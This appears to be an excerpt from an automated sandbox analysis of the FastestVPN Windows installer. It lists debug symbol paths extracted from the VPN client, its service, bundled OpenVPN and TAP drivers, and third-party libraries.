    Source: Binary string: qEC:\Program Files\FastestVPN\Service\Microsoft.AspNet.SignalR.Core.pdb source: FastestVPN.WindowsService.exe, 0000002D.00000002.3390712104.000000000178C000.00000004.00000800.00020000.00000000.sdmp
    Source: Binary string: Microsoft.Owin.Cors.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 0000002D.00000002.3400922074.0000000004362000.00000002.00000001.01000000.00000028.sdmp
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.Common\obj\Release\FastestVPN.Common.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 0000002D.00000002.3396236781.0000000003F52000.00000002.00000001.01000000.00000023.sdmp, is-K5QR5.tmp.2.dr
    Source: Binary string: C:\Users\vagrant\buildbot\windows-server-2019-static-msbuild\vcpkg\buildtrees\openssl\x64-windows-ovpn-rel\libssl-1_1-x64.pdb?? source: is-SRDRF.tmp.2.dr
    Source: Binary string: Microsoft.Owin.Diagnostics.pdbSHA256 source: FastestVPN.WindowsService.exe, 0000002D.00000002.3402552150.0000000004412000.00000002.00000001.01000000.00000029.sdmp
    Source: Binary string: /_/artifacts/obj/Microsoft.AspNet.SignalR.Core/Release/net45/Microsoft.AspNet.SignalR.Core.pdb@\ source: FastestVPN.WindowsService.exe, 0000002D.00000002.3390712104.000000000178C000.00000004.00000800.00020000.00000000.sdmp
    Source: Binary string: D:\VPN core\FastestVPN-Windows-Core\VPN\obj\Debug\VPN.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 0000002D.00000002.3403405146.0000000004452000.00000002.00000001.01000000.0000002D.sdmp, is-6ANJF.tmp.2.dr
    Source: Binary string: C:\users\vagrant\buildbot\windows-server-2019-static-msbuild\openvpn\x64-Output\Release\openvpn.pdbttLnGCTL source: is-935KR.tmp.2.dr
    Source: Binary string: C:\Users\samuli\source\repos\tap-windows6\src\Release\tap0901.pdb source: is-CEAE4.tmp.2.dr
    Source: Binary string: c:\Users\Junaid AK\Desktop\New folder (2)\SingleInstanceApplication\SingleInstanceApplication\obj\Release\SingleInstanceApplication.pdb source: FastestVPN.exe, FastestVPN.exe, 00000034.00000002.2675505940.00000000032F2000.00000002.00000001.01000000.00000012.sdmp, is-21GOU.tmp.2.dr
    Source: Binary string: Microsoft.Owin.Hosting.pdbSHA256d"M! source: FastestVPN.WindowsService.exe, 0000002D.00000002.3397155072.0000000004252000.00000002.00000001.01000000.00000024.sdmp
    Source: Binary string: D:\a\SQLitePCL.raw\SQLitePCL.raw\SQLitePCL.raw\src\SQLitePCLRaw.provider.dynamic_cdecl\obj\Release\netstandard2.0\SQLitePCLRaw.provider.dynamic_cdecl.pdbSHA256 source: FastestVPN.exe, 00000024.00000002.3433728992.000000000C292000.00000002.00000001.01000000.00000041.sdmp
    Source: Binary string: D:\VPN core\FastestVPN-Windows-Core\VPN.OpenVpn\obj\Debug\VPN.OpenVpn.pdbRhlh ^h_CorDllMainmscoree.dll source: FastestVPN.WindowsService.exe, 0000002D.00000002.3403583965.0000000004462000.00000002.00000001.01000000.0000002E.sdmp, is-BN7P3.tmp.2.dr
    Source: Binary string: D:\a\1\s\SDK\AppCenterAnalytics\Microsoft.AppCenter.Analytics.WindowsDesktop\obj\Microsoft.AppCenter.Analytics.WindowsDesktop\Release\net472\Microsoft.AppCenter.Analytics.pdb source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3431506994.000000000BE02000.00000002.00000001.01000000.0000003D.sdmp
    Source: Binary string: /_/artifacts/obj/Microsoft.AspNet.SignalR.Core/Release/net45/Microsoft.AspNet.SignalR.Core.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 00000020.00000002.2559534052.00000000055F2000.00000002.00000001.01000000.0000000E.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.3385698629.0000000001044000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.3390712104.000000000178C000.00000004.00000800.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.3385698629.00000000010AC000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: \??\C:\Windows\symbols\exe\FastestVPN.WindowsService.pdb source: FastestVPN.WindowsService.exe, 00000020.00000002.2556707349.0000000001001000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: c:\projects\projectsJ\nfsdk2_1.6\bin\release\win32\nfapi.pdb< source: nfregdrv.exe, 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmp, nfregdrv.exe, 0000001D.00000002.2513543364.0000000010019000.00000002.00000001.01000000.0000000A.sdmp, is-VKG1P.tmp.2.dr
    Source: Binary string: D:\a\1\s\SDK\AppCenterCrashes\Microsoft.AppCenter.Crashes.WindowsDesktop\obj\Microsoft.AppCenter.Crashes.WindowsDesktop\Release\net472\Microsoft.AppCenter.Crashes.pdbSHA256 source: FastestVPN.exe, 00000024.00000002.3431614725.000000000BE12000.00000002.00000001.01000000.0000003E.sdmp
    Source: Binary string: Hardcodet.NotifyIcon.Wpf.pdbSHA256[ source: FastestVPN.exe, 00000024.00000002.3414353260.0000000006362000.00000002.00000001.01000000.0000001F.sdmp
    Source: Binary string: h:\projects\netfilter3\bin\Release\Win32\nfregdrv.pdb )0THi source: nfregdrv.exe, 0000001C.00000000.2511339899.0000000000408000.00000002.00000001.01000000.00000009.sdmp, nfregdrv.exe, 0000001C.00000002.2511850172.0000000000408000.00000002.00000001.01000000.00000009.sdmp, nfregdrv.exe, 0000001D.00000000.2512657150.0000000000408000.00000002.00000001.01000000.00000009.sdmp, nfregdrv.exe, 0000001D.00000002.2513076806.0000000000408000.00000002.00000001.01000000.00000009.sdmp
    Source: Binary string: D:\a\SQLitePCL.raw\SQLitePCL.raw\SQLitePCL.raw\src\SQLitePCLRaw.bundle_green\obj\Release\net461\SQLitePCLRaw.batteries_v2.pdbSHA256x source: FastestVPN.exe, 00000024.00000002.3433346855.000000000C242000.00000002.00000001.01000000.0000003F.sdmp
    Source: Binary string: tem.pdbo source: FastestVPN.WindowsService.exe, 0000002D.00000002.3385698629.0000000001044000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: C:\projects\projectsJ\nfsdk2_1.6\driver_wfp\Win8\Win8Release\x64\netfilter2.pdb source: xcopy.exe, 0000001B.00000002.2511066457.000001C8921CB000.00000004.00000020.00020000.00000000.sdmp, is-A7TIP.tmp.2.dr
    Source: Binary string: h:\projects\netfilter3\bin\Release\Win32\nfregdrv.pdb source: nfregdrv.exe, 0000001C.00000000.2511339899.0000000000408000.00000002.00000001.01000000.00000009.sdmp, nfregdrv.exe, 0000001C.00000002.2511850172.0000000000408000.00000002.00000001.01000000.00000009.sdmp, nfregdrv.exe, 0000001D.00000000.2512657150.0000000000408000.00000002.00000001.01000000.00000009.sdmp, nfregdrv.exe, 0000001D.00000002.2513076806.0000000000408000.00000002.00000001.01000000.00000009.sdmp
    Source: Binary string: D:\VPN core\FastestVPN-Windows-Core\VPN.Common\obj\Debug\VPN.Common.pdbH source: mapMd1URzq.tmp, 00000002.00000002.2678202060.000000000018D000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000020.00000002.2559462590.0000000005592000.00000002.00000001.01000000.0000000F.sdmp
    Source: Binary string: D:\VPN core\FastestVPN-Windows-Core\VPN.WireGuard\obj\Debug\VPN.WireGuard.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 0000002D.00000002.3404505729.00000000044B2000.00000002.00000001.01000000.00000031.sdmp
    Source: Binary string: NetSetupApi.pdbdb source: service.0.etl.18.dr
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.Data.Local\obj\Release\FastestVPN.Data.Local.pdb source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3413657064.0000000006192000.00000002.00000001.01000000.0000001D.sdmp, is-43KDF.tmp.2.dr
    Source: Binary string: /_/artifacts/obj/Microsoft.Extensions.DependencyInjection.Abstractions/Release/net462/Microsoft.Extensions.DependencyInjection.Abstractions.pdbSHA256 source: FastestVPN.exe, 00000024.00000002.3411231020.0000000005E12000.00000002.00000001.01000000.00000015.sdmp, is-29MT4.tmp.2.dr
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.WindowsService\obj\Release\FastestVPN.WindowsService.pdb source: FastestVPN.WindowsService.exe, 00000020.00000002.2556707349.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000020.00000002.2556460790.0000000000D39000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000020.00000002.2558583628.0000000002D16000.00000004.00000800.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000020.00000000.2516837156.00000000009A2000.00000002.00000001.01000000.0000000B.sdmp, FastestVPN.WindowsService.exe, 00000020.00000002.2556707349.0000000001001000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: E:\A\_work\89\s\corefx\bin\obj\AnyOS.AnyCPU.Release\System.Memory\netstandard\System.Memory.pdbSHA256HXhZm source: FastestVPN.exe, 00000024.00000002.3436008772.000000000C672000.00000002.00000001.01000000.00000042.sdmp
    Source: Binary string: Microsoft.Owin.pdbSHA256 source: FastestVPN.WindowsService.exe, 0000002D.00000002.3397669187.0000000004272000.00000002.00000001.01000000.00000025.sdmp, is-414AO.tmp.2.dr
    Source: Binary string: mscorlib.pdb source: FastestVPN.exe, 00000024.00000002.3416931571.00000000065C0000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: @nn.pdb source: FastestVPN.WindowsService.exe, 00000020.00000002.2556460790.0000000000D39000.00000004.00000010.00020000.00000000.sdmp
    Source: Binary string: NetSetupSvc.pdb source: service.0.etl.18.dr
    Source: Binary string: D:\VPN core\FastestVPN-Windows-Core\VPN.RAS\obj\Debug\VPN.RAS.pdb source: mapMd1URzq.tmp, 00000002.00000002.2678202060.000000000018D000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 0000002D.00000002.3404173378.00000000044A2000.00000002.00000001.01000000.00000030.sdmp, is-1L7K0.tmp.2.dr
    Source: Binary string: C:\Windows\symbols\dll\System.ServiceProcess.pdb source: FastestVPN.WindowsService.exe, 00000020.00000002.2556707349.0000000001001000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: FastestVPN.WindowsService.exe, 0000002D.00000002.3385698629.0000000001035000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: q!Microsoft.AspNet.SignalR.Core.pdb`, source: FastestVPN.WindowsService.exe, 0000002D.00000002.3390712104.000000000178C000.00000004.00000800.00020000.00000000.sdmp
    Source: Binary string: /_/artifacts/obj/Microsoft.Extensions.DependencyInjection.Abstractions/Release/net462/Microsoft.Extensions.DependencyInjection.Abstractions.pdb source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3411231020.0000000005E12000.00000002.00000001.01000000.00000015.sdmp, is-29MT4.tmp.2.dr
    Source: Binary string: C:\projects\wpfanimatedgif\WpfAnimatedGif\obj\Release\net40\WpfAnimatedGif.pdbSHA256 source: FastestVPN.exe, 00000024.00000002.3418828088.00000000066C2000.00000002.00000001.01000000.00000020.sdmp
    Source: Binary string: /_/artifacts/obj/Microsoft.AspNet.SignalR.Core/Release/net45/Microsoft.AspNet.SignalR.Core.pdbg source: FastestVPN.WindowsService.exe, 0000002D.00000002.3385698629.0000000001044000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: D:\a\1\s\SDK\AppCenter\Microsoft.AppCenter.WindowsDesktop\obj\Microsoft.AppCenter.WindowsDesktop\Release\net472\Microsoft.AppCenter.pdb source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3431773700.000000000BE32000.00000002.00000001.01000000.0000003C.sdmp
    Source: Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb/ source: FastestVPN.exe, 00000024.00000002.3420816687.0000000009036000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: \??\C:\Windows\FastestVPN.WindowsService.pdb2 source: FastestVPN.WindowsService.exe, 00000020.00000002.2556707349.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.ViewModel\obj\Release\FastestVPN.ViewModel.pdb source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3413077559.0000000006132000.00000002.00000001.01000000.0000001A.sdmp
    Source: Binary string: Microsoft.Owin.Host.HttpListener.pdbSHA256-( source: FastestVPN.WindowsService.exe, 0000002D.00000002.3399394309.00000000042C2000.00000002.00000001.01000000.00000027.sdmp, is-IS5UL.tmp.2.dr
    Source: Binary string: Windows\dll\mscorlib.pdb source: FastestVPN.exe, 00000024.00000002.3428025746.000000000B751000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: Microsoft.Owin.Security.pdbSHA256U source: FastestVPN.WindowsService.exe, 0000002D.00000002.3401931455.0000000004392000.00000002.00000001.01000000.0000002B.sdmp
    Source: Binary string: System.pdbN|2h|2 Z|2_CorDllMainmscoree.dll source: FastestVPN.WindowsService.exe, 0000002D.00000002.3390712104.000000000178C000.00000004.00000800.00020000.00000000.sdmp
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.Data.Remote\obj\Release\FastestVPN.Data.Remote.pdb source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3413769590.00000000061A2000.00000002.00000001.01000000.0000001E.sdmp, is-1G987.tmp.2.dr
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.BLL\obj\Release\FastestVPN.BLL.pdbVepe be_CorDllMainmscoree.dll source: FastestVPN.exe, 00000024.00000002.3413526573.0000000006182000.00000002.00000001.01000000.0000001C.sdmp
    Source: Binary string: /_/src/Flurl.Http/obj/Release/net472/Flurl.Http.pdbSHA256 source: is-ERPH0.tmp.2.dr
    Source: Binary string: d:\Bjornar\SVN\istool\isxdl\trunk\source\Release\isxdl.pdb source: mapMd1URzq.tmp, 00000002.00000003.2656000311.0000000007510000.00000004.00001000.00020000.00000000.sdmp
    Source: Binary string: D:\VPN core\FastestVPN-Windows-Core\VPN.OpenVpn\obj\Debug\VPN.OpenVpn.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 0000002D.00000002.3403583965.0000000004462000.00000002.00000001.01000000.0000002E.sdmp, is-BN7P3.tmp.2.dr
    Source: Binary string: /_/artifacts/obj/Microsoft.Bcl.AsyncInterfaces/Release/net462/Microsoft.Bcl.AsyncInterfaces.pdbSHA256 source: FastestVPN.exe, 00000024.00000002.3412104144.00000000060C2000.00000002.00000001.01000000.00000017.sdmp, is-EV611.tmp.2.dr
    Source: Binary string: BouncyCastle.Crypto.pdbSHA256 source: is-S1CTK.tmp.2.dr
    Source: Binary string: q^/_/artifacts/obj/Microsoft.AspNet.SignalR.Core/Release/net45/Microsoft.AspNet.SignalR.Core.pdb source: FastestVPN.WindowsService.exe, 0000002D.00000002.3390712104.000000000178C000.00000004.00000800.00020000.00000000.sdmp
    Source: Binary string: \??\C:\Windows\FastestVPN.WindowsService.pdbL+ source: FastestVPN.WindowsService.exe, 00000020.00000002.2556707349.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: msvcr100.i386.pdb source: is-5L8BD.tmp.2.dr
    Source: Binary string: \??\C:\Windows\exe\FastestVPN.WindowsService.pdble source: FastestVPN.WindowsService.exe, 00000020.00000002.2556707349.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: Microsoft.Owin.Diagnostics.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 0000002D.00000002.3402552150.0000000004412000.00000002.00000001.01000000.00000029.sdmp
    Source: Binary string: System.ServiceProcess.pdb source: FastestVPN.WindowsService.exe, 00000020.00000002.2558583628.0000000002D16000.00000004.00000800.00020000.00000000.sdmp
    Source: Binary string: c:\projects\projectsJ\nfsdk2_1.5.5\bin\release_c_api\win32\nfapi.pdb source: is-9AV56.tmp.2.dr
    Source: Binary string: \??\C:\Windows\exe\FastestVPN.WindowsService.pdbdb source: FastestVPN.WindowsService.exe, 00000020.00000002.2556707349.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: /_/artifacts/obj/Microsoft.Extensions.DependencyInjection/Release/net462/Microsoft.Extensions.DependencyInjection.pdbSHA256 source: FastestVPN.exe, 00000024.00000002.3412270868.00000000060D2000.00000002.00000001.01000000.00000016.sdmp
    Source: Binary string: System.Configuration.Install.pdbxF source: FastestVPN.WindowsService.exe, 00000020.00000002.2558583628.0000000002D16000.00000004.00000800.00020000.00000000.sdmp
    Source: Binary string: D:\VPN core\FastestVPN-Windows-Core\VPN.WireGuard\obj\Debug\VPN.WireGuard.pdb2;L; >;_CorDllMainmscoree.dll source: FastestVPN.WindowsService.exe, 0000002D.00000002.3404505729.00000000044B2000.00000002.00000001.01000000.00000031.sdmp
    Source: Binary string: E:\nt\dnsrv\sdktools\reskit\content\subinacl\source\obj\i386\subinacl.pdbPa source: subinacl.exe, 00000028.00000000.2587126067.0000000001001000.00000020.00000001.01000000.00000021.sdmp, subinacl.exe, 00000028.00000002.2593130502.0000000001001000.00000020.00000001.01000000.00000021.sdmp, is-KN6S1.tmp.2.dr
    Source: Binary string: C:\Windows\Microsoft.NET\Framework\v4.0.30319\spNet.SignalR.Core.pdb561934e089\System.dll source: FastestVPN.WindowsService.exe, 0000002D.00000002.3385698629.0000000001035000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: C:\projects\projectsJ\nfsdk2_1.6\driver_wfp\Win8\Win8Release\x64\netfilter2.pdb source: xcopy.exe, 0000001B.00000002.2511066457.000001C8921CB000.00000004.00000020.00020000.00000000.sdmp, is-A7TIP.tmp.2.dr
    Source: Binary string: D:\a\1\s\SDK\AppCenterAnalytics\Microsoft.AppCenter.Analytics.WindowsDesktop\obj\Microsoft.AppCenter.Analytics.WindowsDesktop\Release\net472\Microsoft.AppCenter.Analytics.pdbSHA256 source: FastestVPN.exe, 00000024.00000002.3431506994.000000000BE02000.00000002.00000001.01000000.0000003D.sdmp
    Source: Binary string: E:\A\_work\156\s\corefx\bin\obj\AnyOS.AnyCPU.Release\System.Threading.Tasks.Extensions\netfx\System.Threading.Tasks.Extensions.pdb source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3412669512.00000000060F2000.00000002.00000001.01000000.00000018.sdmp
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.Diagnostics\obj\Release\FastestVPN.Diagnostics.pdb source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3412778028.0000000006102000.00000002.00000001.01000000.00000019.sdmp, is-AKR35.tmp.2.dr
    Source: Binary string: c:\projects\projectsJ\nfsdk2_1.6\bin\release\win32\nfapi.pdb source: nfregdrv.exe, 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmp, nfregdrv.exe, 0000001D.00000002.2513543364.0000000010019000.00000002.00000001.01000000.0000000A.sdmp, is-VKG1P.tmp.2.dr
    Source: Binary string: /_/artifacts/obj/Microsoft.Bcl.AsyncInterfaces/Release/net462/Microsoft.Bcl.AsyncInterfaces.pdb source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3412104144.00000000060C2000.00000002.00000001.01000000.00000017.sdmp, is-EV611.tmp.2.dr
    Source: Binary string: c:\Users\lodejard\Projects\owin-hosting\src\main\Owin.Startup\obj\Release\Owin.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 0000002D.00000002.3395829252.0000000003D92000.00000002.00000001.01000000.00000026.sdmp, is-GCC8H.tmp.2.dr
    Source: Binary string: Microsoft.Owin.Hosting.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 0000002D.00000002.3397155072.0000000004252000.00000002.00000001.01000000.00000024.sdmp
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.DependencyInjection\obj\Release\FastestVPN.DI.pdb source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3410849788.00000000057F2000.00000002.00000001.01000000.00000014.sdmp
    Source: Binary string: D:\a\1\s\SDK\AppCenterCrashes\Microsoft.AppCenter.Crashes.WindowsDesktop\obj\Microsoft.AppCenter.Crashes.WindowsDesktop\Release\net472\Microsoft.AppCenter.Crashes.pdb source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3431614725.000000000BE12000.00000002.00000001.01000000.0000003E.sdmp
    Source: Binary string: /_/artifacts/obj/Microsoft.Extensions.DependencyInjection/Release/net462/Microsoft.Extensions.DependencyInjection.pdb source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3412270868.00000000060D2000.00000002.00000001.01000000.00000016.sdmp
    Source: Binary string: c:\Users\Junaid AK\Desktop\New folder (2)\SingleInstanceApplication\SingleInstanceApplication\obj\Release\SingleInstanceApplication.pdb@:^: P:_CorDllMainmscoree.dll source: FastestVPN.exe, 00000034.00000002.2675505940.00000000032F2000.00000002.00000001.01000000.00000012.sdmp, is-21GOU.tmp.2.dr
    Source: Binary string: E:\A\_work\89\s\corefx\bin\obj\AnyOS.AnyCPU.Release\System.Memory\netstandard\System.Memory.pdb source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3436008772.000000000C672000.00000002.00000001.01000000.00000042.sdmp
    Source: Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdbSHA256 source: FastestVPN.WindowsService.exe, 0000002D.00000002.3404861040.0000000004502000.00000002.00000001.01000000.0000002F.sdmp, is-8HGA9.tmp.2.dr
    Source: Binary string: C:\projects\wpfanimatedgif\WpfAnimatedGif\obj\Release\net40\WpfAnimatedGif.pdb source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3418828088.00000000066C2000.00000002.00000001.01000000.00000020.sdmp
    Source: Binary string: Microsoft.Owin.Security.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 0000002D.00000002.3401931455.0000000004392000.00000002.00000001.01000000.0000002B.sdmp
    Source: Binary string: D:\a\SQLitePCL.raw\SQLitePCL.raw\SQLitePCL.raw\src\SQLitePCLRaw.bundle_green\obj\Release\net461\SQLitePCLRaw.batteries_v2.pdb source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3433346855.000000000C242000.00000002.00000001.01000000.0000003F.sdmp
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.BLL\obj\Release\FastestVPN.BLL.pdb source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3413526573.0000000006182000.00000002.00000001.01000000.0000001C.sdmp
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.Common\obj\Release\FastestVPN.Common.pdb source: FastestVPN.WindowsService.exe, 0000002D.00000002.3396236781.0000000003F52000.00000002.00000001.01000000.00000023.sdmp, is-K5QR5.tmp.2.dr
    Source: Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 0000002D.00000002.3404861040.0000000004502000.00000002.00000001.01000000.0000002F.sdmp, is-8HGA9.tmp.2.dr
    Source: Binary string: \??\C:\Windows\System.Configuration.Install.pdb> source: FastestVPN.WindowsService.exe, 00000020.00000002.2556707349.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: D:\VPN core\FastestVPN-Windows-Core\VPN.AdvancedNetwork\obj\Debug\VPN.AdvancedNetwork.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 0000002D.00000002.3403161535.0000000004442000.00000002.00000001.01000000.0000002C.sdmp
    Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: FastestVPN.exe, 00000024.00000002.3427426602.000000000B6FC000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN\obj\Release\FastestVPN.pdb source: FastestVPN.exe, 00000024.00000000.2557360869.0000000000E7D000.00000002.00000001.01000000.00000011.sdmp
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.WindowsService\obj\Release\FastestVPN.WindowsService.pdb( source: FastestVPN.WindowsService.exe, 00000020.00000002.2556460790.0000000000D39000.00000004.00000010.00020000.00000000.sdmp
    Source: Binary string: indows\FastestVPN.WindowsService.pdbpdbice.pdb080 source: FastestVPN.WindowsService.exe, 00000020.00000002.2556707349.0000000001001000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: c:\projects\projectsj\nfsdk2_1.6\driver_wfp\std\objfre_win7_x86\i386\netfilter2.pdb source: is-FH0V4.tmp.2.dr
    Source: Binary string: System.pdb source: FastestVPN.WindowsService.exe, 0000002D.00000002.3390712104.000000000178C000.00000004.00000800.00020000.00000000.sdmp
    Source: Binary string: \??\C:\Windows\System.ServiceProcess.pdbm source: FastestVPN.WindowsService.exe, 00000020.00000002.2556707349.0000000001001000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: Microsoft.Owin.Host.HttpListener.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 0000002D.00000002.3399394309.00000000042C2000.00000002.00000001.01000000.00000027.sdmp, is-IS5UL.tmp.2.dr
    Source: Binary string: D:\a\1\s\SDK\AppCenter\Microsoft.AppCenter.WindowsDesktop\obj\Microsoft.AppCenter.WindowsDesktop\Release\net472\Microsoft.AppCenter.pdbSHA256 source: FastestVPN.exe, 00000024.00000002.3431773700.000000000BE32000.00000002.00000001.01000000.0000003C.sdmp
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.Data.Remote\obj\Release\FastestVPN.Data.Remote.pdbb^|^ n^_CorDllMainmscoree.dll source: FastestVPN.exe, 00000024.00000002.3413769590.00000000061A2000.00000002.00000001.01000000.0000001E.sdmp, is-1G987.tmp.2.dr
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.DependencyInjection\obj\Release\FastestVPN.DI.pdbY6s6 e6_CorDllMainmscoree.dll source: FastestVPN.exe, 00000024.00000002.3410849788.00000000057F2000.00000002.00000001.01000000.00000014.sdmp
    Source: Binary string: c:\users\samuli\opt\tap-windows6-mattock\tapinstall\7600\objfre_wlh_amd64\amd64\tapinstall.pdbH source: is-BQE44.tmp.2.dr
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\Updater\obj\Release\Updater.pdb source: is-L52FN.tmp.2.dr
    Source: Binary string: C:\users\vagrant\buildbot\windows-server-2019-static-msbuild\openvpn\x64-Output\Release\openvpn.pdb source: is-935KR.tmp.2.dr
    Source: Binary string: C:\Users\samuli\source\repos\tap-windows6\src\x64\Release\tap0901.pdb source: drvinst.exe, 0000000F.00000003.2470262711.0000028018083000.00000004.00000020.00020000.00000000.sdmp, drvinst.exe, 0000000F.00000003.2462630417.0000028017FDC000.00000004.00000020.00020000.00000000.sdmp, is-ECRGA.tmp.2.dr, SETDAB9.tmp.17.dr
    Source: Binary string: NetSetupApi.pdb source: service.0.etl.18.dr
    Source: Binary string: D:\a\SQLitePCL.raw\SQLitePCL.raw\SQLitePCL.raw\src\SQLitePCLRaw.core\obj\Release\netstandard2.0\SQLitePCLRaw.core.pdbSHA256Ci\ source: FastestVPN.exe, 00000024.00000002.3433577336.000000000C272000.00000002.00000001.01000000.00000040.sdmp, FastestVPN.exe, 00000024.00000002.3416931571.00000000065C0000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: /_/src/Flurl.Http/obj/Release/net472/Flurl.Http.pdb source: is-ERPH0.tmp.2.dr
    Source: Binary string: Microsoft.Owin.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 0000002D.00000002.3397669187.0000000004272000.00000002.00000001.01000000.00000025.sdmp, is-414AO.tmp.2.dr
    Source: Binary string: \??\C:\Windows\dll\System.Configuration.Install.pdb source: FastestVPN.WindowsService.exe, 00000020.00000002.2556707349.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: BouncyCastle.Crypto.pdb source: is-S1CTK.tmp.2.dr
    Source: Binary string: \??\C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.pdb source: FastestVPN.WindowsService.exe, 00000020.00000002.2556707349.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: HPbnTC:\Windows\FastestVPN.WindowsService.pdb source: FastestVPN.WindowsService.exe, 00000020.00000002.2556460790.0000000000D39000.00000004.00000010.00020000.00000000.sdmp
    Source: Binary string: Hardcodet.NotifyIcon.Wpf.pdb source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3414353260.0000000006362000.00000002.00000001.01000000.0000001F.sdmp
    Source: Binary string: \??\C:\Windows\symbols\exe\FastestVPN.WindowsService.pdb00 source: FastestVPN.WindowsService.exe, 00000020.00000002.2556707349.0000000001001000.00000004.00000020.00020000.00000000.sdmp
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEE0E0B0 _invalid_parameter_noinfo,_invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,FindClose,12_2_00007FF7FEE0E0B0
